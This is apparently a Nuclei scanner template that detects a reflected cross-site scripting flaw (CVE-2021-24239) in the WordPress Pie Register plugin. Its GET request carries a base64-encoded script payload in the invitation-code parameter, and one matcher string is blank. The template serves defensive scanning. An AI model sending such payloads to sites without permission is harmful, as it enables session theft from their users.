id: CVE-2021-24239 info: name: WordPress Pie Register <3.7.0.1 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: Fixed in version 3.7.0.1. reference: - https://wpscan.com/vulnerability/f1b67f40-642f-451e-a67a-b7487918ee34 - https://plugins.trac.wordpress.org/changeset/2507536/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24239 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24239 cwe-id: CWE-79 epss-score: 0.00116 epss-percentile: 0.45038 cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: genetechsolutions product: pie_register framework: wordpress tags: cve,cve2021,xss,pie-register,wp,wpscan http: - method: GET path: - "{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "") && contains(body, "invitaion-code-table")' condition: and # digest: 4a0a00473045022100944abc4f3efd63cb001f91eda3b0afe88b6ec9cfa6ec33d26eb9091720d325ef02207b08643939e3dedb9823069b4b40a7b2ae826d0ddc7d339ef802de0dfdf7d772:922c64590222798bb761d5b6d8e72950